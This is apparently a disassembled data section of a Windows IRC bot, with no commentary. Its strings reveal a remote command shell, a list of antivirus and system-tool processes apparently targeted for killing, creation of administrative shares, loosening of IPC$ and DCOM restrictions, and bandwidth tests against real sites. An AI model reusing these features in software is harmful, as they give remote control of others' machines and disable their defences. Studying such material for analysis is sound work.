aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_418EF6+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF6+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o align 10h aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF6+1ACo align 10h aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF6+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_418EF6:loc_419015o align 10h aUser_1 db 'User',0 ; DATA XREF: sub_418EF6:loc_41900Eo align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF6:loc_419007o align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF6+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF6+84o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF6+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo align 4 unk_43932C db 2Dh ; - ; DATA XREF: sub_4192DF+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 4 aS_4 db ' %S',0 ; DATA XREF: sub_4192DF+BEo align 10h unk_439360 db 2Dh ; - ; DATA XREF: sub_4192DF+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo align 10h aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o align 10h aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_41945F:loc_419543o db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_41945F+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_41945F:loc_41950Ao aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_41945F:loc_4194FCo aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o align 10h aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo align 10h aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41945F:loc_4194C2o align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_41945F:loc_4194AEo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo align 4 dword_439668 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419593+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_439694 db 2Dh ; - ; DATA XREF: sub_419593+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dd 7530h off_4396C0 dd offset aRegedit_exe ; DATA XREF: sub_4196BC+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_4397C8 dd offset dword_4397BC dd offset dword_4397B0 dd offset dword_4397A4 dd offset dword_439798 dd offset dword_43978C dd offset dword_43977C dd offset dword_439770 dd offset dword_439764 dd offset dword_439758 dd offset dword_43974C dd offset dword_43973C dd offset dword_439730 dd offset dword_439720 dword_439720 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_4196BC+ECo ; ___:0043971Co dword_439730 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439718o dword_43973C dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:00439714o dword_43974C dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439710o dword_439758 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043970Co dword_439764 dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439708o dword_439770 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439704o dword_43977C dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439700o dword_43978C dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:004396FCo dword_439798 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:004396F8o dword_4397A4 dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:004396F4o dword_4397B0 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:004396F0o dword_4397BC dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:004396ECo dword_4397C8 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:004396E8o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:004396E4o align 4 aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:004396E0o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:004396DCo align 10h aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:004396D8o align 10h aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:004396D4o align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:004396D0o align 4 aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:004396CCo aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:004396C8o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:004396C4o align 10h aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_4396C0o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BC+191o align 4 unk_439878 db 2Dh ; - ; DATA XREF: sub_4198EB:loc_419972o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_43989C db 2Dh ; - ; DATA XREF: sub_4198EB+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 10h unk_4398C0 db 2Dh ; - ; DATA XREF: sub_4198EB+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o unk_4398F0 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419C41o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_439920 db 2Dh ; - ; DATA XREF: sub_419B0F+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 4 unk_439948 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419BF5o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 4 unk_439978 db 2Dh ; - ; DATA XREF: sub_419C64+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_4399AC db 2Dh ; - ; DATA XREF: sub_419C64+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 10h off_4399D0 dd offset dword_439A08 ; DATA XREF: sub_419E79+1B3o ; sub_41A19D+17Ao dd 0 dd offset dword_439A00 align 10h off_4399E0 dd offset dword_4399FC ; DATA XREF: sub_41A19D+1E3o dd offset dword_4399F8 dd offset dword_4399F4 dd offset dword_4399F0 dword_4399F0 dd 5C3A44h ; DATA XREF: sub_419E79+217o ; ___:004399ECo dword_4399F4 dd 2444h ; DATA XREF: ___:004399E8o dword_4399F8 dd 5C3A43h ; DATA XREF: ___:004399E4o dword_4399FC dd 2443h ; DATA XREF: ___:off_4399E0o dword_439A00 dd 494D4441h, 244Eh ; DATA XREF: ___:004399D8o dword_439A08 dd 24435049h, 0 ; DATA XREF: ___:off_4399D0o dword_439A10 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2E5o ; sub_41A19D+2DBo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_439A40 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 4 dword_439A68 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A0DBo aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_439A94 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 4 dword_439AB8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A048o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_439AE4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 4 dword_439B08 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FABo ; sub_41A19D:loc_41A2CBo aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_439B38 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FA4o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_439B74 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419F86o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 4 dword_439BA8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo ; sub_41A19D+EDo align 4 dword_439BF8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+91o ; sub_41A19D+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_439C28 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_419E79:loc_419EE6o dd 62617369h, 2E64656Ch, 0 dword_439C48 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E79+54o ; sub_41A19D+54o align 4 dword_439C78 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+2C3o aNetworkSharesA db '- Network shares added.',0 aC_0 db '%c:\',0 ; DATA XREF: sub_41A19D+230o align 4 aC_1 db '%c$',0 ; DATA XREF: sub_41A19D+219o dword_439CA8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A33Co ; sub_41A19D:loc_41A40Do aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_439CD0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+198o ; sub_41A19D+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_439CF0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2C4o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_439D2C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2A6o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_439D64 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_439DA4 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A19D:loc_41A20Ao dd 6C62616Eh, 2E6465h dword_439DC0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_439E18 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41A6AE+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AE+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AE+B6o align 4 aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AE+AFo align 4 aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o align 10h aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AE+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AE+8Co align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AE+85o align 4 aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AE+7Eo align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AE+77o align 4 aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AE+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AE+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AE+5Bo align 4 aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AE+4Do align 4 aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AE+46o align 4 aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AE+3Fo align 4 aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AE+38o align 4 aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AE+31o align 4 aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AE+2Ao align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AE+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AE+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AE+15o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88B+52o dword_43A030 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AA42+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43A10C dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AA42+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o align 10h aSS_1 db '%s (%s)',0 ; DATA XREF: sub_41AA42+EBo a2003 db '2003',0 ; DATA XREF: sub_41AA42+BAo align 10h dword_43A140 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41ACF6+A4o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43A184 dd offset word_412F4E ; DATA XREF: sub_41ACF6:loc_41AD62o off_43A188 dd offset dword_4E414C ; DATA XREF: sub_41ACF6:loc_41AD58o dword_43A18C dd 6C616944h, 70752Dh ; DATA XREF: sub_41ACF6+5Bo dword_43A194 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41ACF6+48o unk_43A1A4 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF6Eo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 unk_43A1D4 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF67o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 10h dword_43A200 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41ADB5+1A0o dd 4C525520h, 2Eh unk_43A21C db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF48o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dword_43A258 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41ADB5+18Co dd 64657469h, 2Eh dword_43A274 dd 2A2F2Ah, 2 dup(0) ; DATA XREF: sub_41ADB5+3Bo dword_43A280 dd 4F310EF8h ; DATA XREF: sub_41B8D8+4w sub_41B8E2r ... align 10h dword_43A290 dd 173Fh ; DATA XREF: sub_41C679+Dr dd 9875h, 9873h off_43A29C dd offset sub_41C748 ; DATA XREF: ___:0041B784r dd offset nullsub_2 dd offset nullsub_2 dword_43A2A8 dd 1B3Fh ; DATA XREF: sub_41C7BF+Dr dword_43A2AC dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CC41+2o ; sub_41CC4A+2o off_43A2C0 dd offset sub_41B7C2 ; DATA XREF: sub_41DA29+1Cr dword_43A2C4 dd 2 ; DATA XREF: sub_423590+Er ; sub_4235C9+46r ... dd 10h, 0 off_43A2D0 dd offset off_43A2D0 ; DATA XREF: sub_41E976+Do ; sub_41E976+69o ... off_43A2D4 dd offset off_43A2D0 ; DATA XREF: sub_41E976:loc_41E9F6r ; sub_41E976+89w ... dd offset dword_43A2E8 dd offset dword_43A2E8 dword_43A2E0 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r ; sub_41EABA:loc_41EB07w dd 0FFFFFFFFh dword_43A2E8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043A2D8o ; ___:0043A2DCo off_43C2F0 dd offset off_43A2D0 ; DATA XREF: sub_41EABA+15r ; sub_41EABA+20w ... dword_43C2F4 dd 1E0h ; DATA XREF: sub_41B202+185r ; sub_41B513:loc_41B54Fr ... off_43C2F8 dd offset word_43C302 ; DATA XREF: sub_41B6EE+23r ; sub_41B6EE:loc_41B74Fr ... off_43C2FC dd offset word_43C302 ; DATA XREF: sub_426BC1+18r db 2 dup(0) word_43C302 dw 20h ; DATA XREF: sub_424D47+18r ; ___:off_43C2F8o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43C504 dd 1 ; DATA XREF: sub_41B6EE:loc_41B6F6r ; sub_41B6EE:loc_41B73Ar ... byte_43C508 db 2Eh ; DATA XREF: sub_420510:loc_420804r ; sub_420510+311r ... align 4 dd 1 off_43C510 dd offset aNull_0 ; DATA XREF: sub_41F69F:loc_41FA03r ; sub_41F69F+457r ; "(null)" off_43C514 dd offset aNull ; DATA XREF: sub_41F69F+259r ; "(null)" byte_43C518 db 1 ; DATA XREF: sub_41FEA9+E1r db 2, 4, 8 align 10h dword_43C520 dd 3A4h ; DATA XREF: sub_41FEA9+2Fo dword_43C524 dd 82798260h, 21h, 0 ; DATA XREF: sub_41FEA9+11Dr dword_43C530 dd 0DFA6h ; DATA XREF: sub_41FEA9+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43C610 dd 1 ; DATA XREF: sub_41FEA9+3Co ; sub_4203DF+Co dword_43C614 dd 16h ; DATA XREF: sub_4203DF:loc_420414r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43C778 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4203DF+19o ; sub_420510:loc_420A77o dword_43C780 dd 5Dh, 0 ; DATA XREF: sub_420510:loc_420967o dword_43C788 dd 14h ; DATA XREF: sub_421624+2o off_43C78C dd offset aExp ; DATA XREF: sub_421624:loc_421641r ; "exp" dd 1Dh, 427878h, 1Ah, 42C268h, 1Bh, 427870h, 1Fh, 427868h dd 13h, 427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h dd 0Fh, 427840h, 10h, 427838h, 5, 427830h, 1Eh, 42782Ch dd 12h, 427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h dd 15h, 42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h dd 18h, 4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h dd 23h, 4277D4h, 24h, 4277D0h dbl_43C860 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+B7r ; sub_42135F:loc_421446r ... dd 0 dd 0FFF80000h dbl_43C870 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+92r ; sub_42135F:loc_42141Er ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43C888 dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr ; sub_42180C+1Fr align 4 tbyte_43C894 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r align 10h off_43C8A0 dd offset sub_421CA0 ; DATA XREF: sub_41C760+Fw ; sub_41F69F+3AAr off_43C8A4 dd offset sub_421935 ; DATA XREF: sub_41C760+5w ; sub_41F69F+3E2r off_43C8A8 dd offset sub_42199B ; DATA XREF: sub_41C760+14w ; sub_420510+430r off_43C8AC dd offset sub_4218DB ; DATA XREF: sub_41C760+1Ew ; sub_41F69F+3CBr off_43C8B0 dd offset sub_421983 ; DATA XREF: sub_41C760+28w off_43C8B4 dd offset sub_421CA0 ; DATA XREF: sub_41C760+32w dd offset sub_42470C align 10h dd offset sub_42255C off_43C8C4 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r dword_43C8C8 dd 0C0000005h ; DATA XREF: sub_422E2F+Ar ; sub_422E2F+11o ... dword_43C8CC dd 0Bh ; DATA XREF: sub_425A82+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43C940 dd 3 ; DATA XREF: ___:00422D46r ; sub_425955+C8r dword_43C944 dd 7 ; DATA XREF: ___:00422D4Cr ; sub_425955+CDr dword_43C948 dd 0Ah ; DATA XREF: sub_422E2F+4r ; sub_425A82+4r dword_43C94C dd 8Ch ; DATA XREF: ___:00422D70r ; ___:00422D7Dw ... dword_43C950 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F043:loc_41F0C4o ; sub_41F58A:loc_41F647o dword_43C958 dd 2 ; DATA XREF: sub_4235C9+Eo ; sub_4235C9+28r off_43C95C dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr ; sub_4235C9+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B94h, 9, 427B68h, 0Ah, 427B44h, 10h, 427B18h dd 11h, 427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h dd 19h, 427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h dd 78h, 427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 43381Ch dd 0FFh, 427960h off_43C9E8 dd offset dword_4DB5A0 ; DATA XREF: sub_4235C9+1Bo ; sub_423936+55o align 10h dd offset dword_4DB5A0 dd 101h dword_43C9F8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423936+72o dd 1000h, 0 dword_43CA08 dd 3 dup(0) ; DATA XREF: sub_41F58A+50o ; sub_420446+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43CA28 dd 3 dup(0) ; DATA XREF: sub_41F58A+58o ; sub_420446:loc_420464o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43CA58 dd 84h dup(0) ; DATA XREF: sub_423936+9Bo dword_43CC68 dd 2 dup(0) ; DATA XREF: sub_423936+69o dword_43CC70 dd 2694h ; DATA XREF: sub_420FC1+3r ; sub_421014+46r align 8 dword_43CC78 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo dword_43CC90 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o dword_43CCA8 dd 7080h ; DATA XREF: sub_422669+76r ; sub_4247EC+5Ew ... dword_43CCAC dd 1 ; DATA XREF: sub_422669+98r ; sub_4247EC+8Bw ... dword_43CCB0 dd 0FFFFF1F0h ; DATA XREF: sub_422669:loc_42271Br ; sub_4247EC+94w ... off_43CCB4 dd offset dword_545350 ; DATA XREF: ___:off_43CD34o dd 0Fh dup(0) off_43CCF4 dd offset dword_544450 ; DATA XREF: ___:off_43CD38o dd 0Fh dup(0) off_43CD34 dd offset off_43CCB4 ; DATA XREF: sub_4247EC+BAr ; sub_4247EC+D9r ... off_43CD38 dd offset off_43CCF4 ; DATA XREF: sub_4247EC+F4r ; 